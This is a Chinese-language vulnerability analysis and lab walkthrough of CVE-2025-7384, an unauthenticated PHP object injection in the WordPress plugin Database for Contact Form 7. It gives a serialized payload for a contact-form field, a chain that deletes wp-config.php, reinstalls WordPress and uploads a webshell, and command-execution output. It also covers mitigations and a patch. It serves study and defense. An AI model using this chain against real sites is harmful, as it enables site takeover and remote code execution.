插件: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8(严重)
CWE: CWE-502 — 不可信数据反序列化
认证要求: 无(未认证)
影响: 远程代码执行
“Database for Contact Form 7”插件(slug:contact-form-entries)1.4.3 及以下版本存在 PHP 对象注入漏洞。当 WordPress 管理员在管理后台查看表单记录(条目)时,插件会直接对未认证用户通过 Contact Form 7 提交的数据调用 maybe_unserialize() 函数,且未控制允许实例化的类列表。
攻击者无需登录——只需在提交普通联系表单时,将序列化的 PHP 对象插入任意表单字段。这些数据会原样存储在数据库中。当管理员打开查看该条目时,反序列化函数将实例化攻击者所选的对象,触发 __destruct() 或 __wakeup() 等魔术方法 → 根据 WordPress 环境中可用的 POP gadget 执行任意行为。
严重程度: 借助合适的 POP gadget(例如,一个
__destruct()方法调用unlink()的类),攻击者可以删除wp-config.php文件,使 WordPress 回退到初始安装界面 → 使用攻击者控制的账户重新安装 → 安装包含 webshell 的插件 → 在服务器上实现完全远程代码执行(RCE)。
PHP 使用 serialize() 将对象转换为结构化的文本字符串,并使用 unserialize() 从该字符串恢复对象。当 unserialize() 接收到来自不可信来源(如用户输入)的数据时,攻击者可以构造属于 PHP 内存中当前已加载的任意类的任意对象。
PHP 在对象生命周期中自动调用的特殊方法。在此上下文中最重要的有:
__wakeup() — 对象被反序列化时立即调用__destruct() — 对象被销毁时调用(超出作用域,或请求结束)__toString() — 对象被转换为字符串时调用一种将应用程序中现有类的多个魔术方法串联起来,以构建危险行为序列的技术。攻击者不编写新代码——只操纵现有对象的属性,使得魔术方法执行时执行开发者未预期的操作。
maybe_unserialize()WordPress 核心的包装函数。它调用 is_serialized() 检查字符串是否为序列化数据——如果为真,则调用 unserialize() 恢复对象。问题在于:该函数不会传递 allowed_classes 参数(自 PHP 7.0 起可用)来限制允许实例化的类。
首先在整个插件源码中 grep 定位反序列化函数——这些是 PHP 中最危险的函数,因为它们可能导致对象注入:
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

输出显示了多个 maybe_unserialize() 调用点,最值得注意的是 includes/data.php 第 545 行 verify_val() 函数内部:

// data.php lines 538-548
public function verify_val($string){
if(in_array(substr(ltrim($string),0,1), array('{','['))
&& in_array(substr(rtrim($string),-1), array('}',']'))
){
$val = json_decode($string, 1);
if(is_array($val)){ $string = $val; }
} else if(is_serialized($string)){ // line 544
$string = maybe_unserialize($string); // ★ line 545 — SINK
}
return $string;
}
关键问题: $string 变量从何而来?如果它来自未经过滤的用户输入 → 这就是一个漏洞。
查找 verify_val() 的调用位置。在同一个 data.php 文件中反向追踪:

// data.php lines 520-535
public function get_lead_detail($lead_id){
global $wpdb;
$table = $wpdb->prefix . 'vxcf_leads_detail';
$detail_arr = $wpdb->get_results(
$wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
ARRAY_A
);
foreach($detail_arr as $k => $v){
if(!empty($v['value'])){
$detail_arr[$k]['value'] = $this->verify_val($v['value']); // ← calls verify_val
}
}
return $detail_arr;
}
→ $string 正是 $v['value'] —— 从 wp_vxcf_leads_detail 数据库表检索到的值。该函数在管理员查看表单条目详情时被调用。
下一个问题: wp_vxcf_leads_detail 中的数据来自哪里?谁写入的?
从第 2 步可知,数据从数据库取出。下一个问题:谁将数据写入其中?在 data.php 中搜索 INSERT 查询:
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

打开 create_lead() 函数代码(第 85-103 行)查看详情:

在第 98-99 行,值 $v —— 即表单字段(如 your-message)的内容——通过 $wpdb->insert() 直接插入数据库。插件挂钩了 Contact Form 7 的 wpcf7_before_send_mail 事件,因此每当用户提交表单时,所有字段都会原样存储。
进一步检查:插件在保存前确实使用了 sanitize_text_field() 和 sanitize_textarea_field(),但这两个函数只会去除 HTML 标签和特殊 HTML 字符——像 O:21:"VulnerableFileHandler":2:{...} 这样的序列化 payload 不包含 HTML 标签,因此能够完整通过。
至此,完整流程已确立:
Unauthenticated user submits CF7 form (your-message field contains serialized object)
↓ sanitize_text_field() — DOES NOT block serialized strings
Saved into wp_vxcf_leads_detail table (raw payload)
↓
Admin views entry → get_lead_detail() → verify_val()
↓ is_serialized() returns true
maybe_unserialize($string) — line 545 → PHP instantiates arbitrary object
↓
Object's __destruct() executes → performs attacker-controlled action
根因:
data.php:545处的maybe_unserialize()函数对源自未认证用户输入的数据进行了调用,且未传递allowed_classes: false。攻击者只需通过 CF7 表单的your-message字段提交一个序列化的 PHP 对象 → 当管理员查看条目时,PHP 会实例化该对象并触发__destruct()魔术方法。
为了直观验证,使用 Xdebug 在 data.php 第 545 行设置断点。通过表单注入 payload 并让管理员查看条目后,调试器恰好停在 maybe_unserialize() 处:

变量面板 显示 $string 持有攻击者的 payload:
$string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → payload 从表单 → 数据库 → 反序列化函数,全程未被拦截执行行:
$string=maybe_unserialize($string);调用堆栈 显示函数调用顺序:
vxcf_form_data->verify_val data.php:545
vxcf_form_data->get_entries data.php:388
vxcf_form::get_entries contact-form-entries.php:2682
vxcf_form_pages->entries_page plugin-pages.php:1017
...
WP_Hook->apply_filters class-wp-hook.php:324
WP_Hook->do_action class-wp-hook.php:348
→ 证实了分析的确切流程:管理员查看条目 → get_entries() → verify_val() → maybe_unserialize()。
攻击链由 5 个阶段组成。攻击者只需执行第 1 阶段(表单提交)。第 2-5 阶段在管理员查看条目后自动发生。
攻击者提交 CF7 表单,在消息字段中携带序列化的 PHP 对象。
POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedbackyour-message 包含:O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}wp_vxcf_leads_detail 表 — sanitize_text_field() 无法阻止序列化字符串管理员打开 Contact Form Entries 页面 → 查看条目详情 → 插件调用 verify_val() → maybe_unserialize()。
VulnerableFileHandler,其中 file_path = "/var/www/html/wp-config.php"、cleanup = true__destruct() → unlink("/var/www/html/wp-config.php")wp-config.php 文件被删除 → WordPress 失去数据库连接。
http://target/ → 自动重定向到 /wp-admin/setup-config.php(初始安装界面)攻击者使用已知(或暴力破解的)数据库凭据重新安装 WordPress。
安装包含 webshell 的插件 → 执行任意系统命令。
/wp-content/plugins/shell/shell.php?cmd=iduid=33(www-data) gid=33(www-data) → RCE 完成启动包含 WordPress + 漏洞插件的 Docker 实验环境:
cd CVE-2025-7384
docker-compose up --build -d
等待约 40 秒,直到日志显示 LAB READY。访问 http://localhost:8181 确认 WordPress 正在运行。
根据第 3 节的源码分析,我们知道:
data.php:545 — 对表单字段值调用 maybe_unserialize()wp_vxcf_leads_detail 表 — 数据来自 CF7 表单sanitize_text_field() — 无法阻止序列化字符串→ 结论:只需将序列化的 PHP 对象提交到 CF7 表单的任意字段即可。选择 your-message,因为它是文本域,接受长字符串,且格式验证较少(不像 your-email 需要邮箱格式)。
访问 http://localhost:8181/contact/,按如下方式填写表单:
| 字段 | 值 |
|---|---|
| Your name | dung |
| Your email | [email protected] |
| Subject | test inject |
| Your message | O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;} |

Payload 说明:
O:21:"VulnerableFileHandler" — 实例化类 VulnerableFileHandler(其 __destruct() 调用 unlink())s:9:"file_path";s:27:"/var/www/html/wp-config.php" — file_path 属性指向要删除的目标文件s:7:"cleanup";b:1 — 属性 cleanup = true,使 __destruct() 执行 unlink()点击提交。表单会显示邮件发送错误信息(或成功)——这无关紧要,因为 contact-form-entries 插件在邮件发送之前已将所有数据保存到数据库。
登录 http://localhost:8181/wp-admin(admin / admin123)→ 左侧菜单选择 CRM Entries → 点击查看收到的条目。

这正是执行到达 data.php:545 的时刻——插件从数据库获取 your-message 值,is_serialized() 检查返回 true,调用 maybe_unserialize() → PHP 创建 VulnerableFileHandler 对象 → 请求终止,__destruct() 执行 → unlink("/var/www/html/wp-config.php")。
在浏览器中访问 http://localhost:8181/ → WordPress 重定向到 /wp-admin/setup-config.php 页面(初始安装界面)→ wp-config.php 文件已被成功删除。

wp-config.php 被删除后,WordPress 回到未安装状态。攻击者步骤:
第 1 步 — 重新安装 WordPress:
访问 http://localhost:8181/wp-admin/setup-config.php → 输入数据库凭据:
| 字段 | 值 |
|---|---|
| 数据库名称 | wordpress |
| 用户名 | wpuser |
| 密码 | wppass |
| 数据库主机 | db |
| 表前缀 | wp_ |
点击提交 → 运行安装 → 创建由攻击者控制的新管理员账户。
第 2 步 — 上传 Webshell:
登录管理后台 → 插件 → 安装新插件 → 上传插件 → 上传 system-health.zip 文件(或 system-monitor.zip)。

上传并激活成功。
第 3 步 — 执行命令(RCE):
访问:http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

输出:uid=33(www-data) gid=33(www-data) → 远程代码执行完成
访问:http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

输出:www-data → 远程代码执行完成
*用户交互:NVD 将其评为“无”,因为管理员查看表单条目属于预期行为,而非异常的用户交互。
不要对用户提供的数据使用 maybe_unserialize()。 当需要存储结构化数据时,改用 json_decode()。
如果确实必须反序列化,请提供 allowed_classes: false 选项(PHP 7.0+):
$data = unserialize($string, ['allowed_classes' => false]);
这将阻止 PHP 实例化任何对象——仅允许标量类型和数组。
/^[OaCis]:\d+/ 的值(序列化数据的特征)。wp_vxcf_leads_detail 数据库表中是否包含匹配 O:XX:"ClassName": 格式的字符串条目——存在即表明有攻击尝试wp-config.php 具有严格的文件权限(440 或 400)——降低被 Web 服务器进程删除的概率// BEFORE (vulnerable):
} else if(is_serialized($string)){
$string = maybe_unserialize($string);
}
// AFTER (patched):
} else if(is_serialized($string)){
$string = json_decode(json_encode(
unserialize($string, ['allowed_classes' => false])
), true);
}
| 属性 | 值 |
|---|
| CVE ID | CVE-2025-7384 |
| CVSS 分数 | 9.8(严重) |
| CWE | CWE-502 — 不可信数据反序列化 |
| 受影响插件 | contact-form-entries (Database for Contact Form 7) ≤ 1.4.3 |
| 认证要求 | 无 — 任何提交 CF7 表单的人均可注入 payload |
| 触发条件 | 管理员在管理后台查看被注入的条目 |
| 最大影响 | 未认证远程代码执行 |
| 修复版本 | 1.4.4+(以 json_decode 或 allowed_classes: false 替换 unserialize) |
| CVSS 指标 | 值 | 说明 |
|---|
| 攻击向量 | 网络 | 通过 HTTP 利用,无需物理访问 |
| 攻击复杂度 | 低 | 只需发送 1 个包含 payload 的 POST 请求 |
| 所需权限 | 无 | 无需认证 — CF7 表单对公众开放 |
| 用户交互 | 无* | 管理员在日常工作流程中查看条目 |
| 机密性 | 高 | RCE 允许读取服务器上的任意文件 |
| 完整性 | 高 | RCE 允许写入/修改任意文件 |
| 可用性 | 高 | 删除 wp-config.php 导致整个网站崩溃 |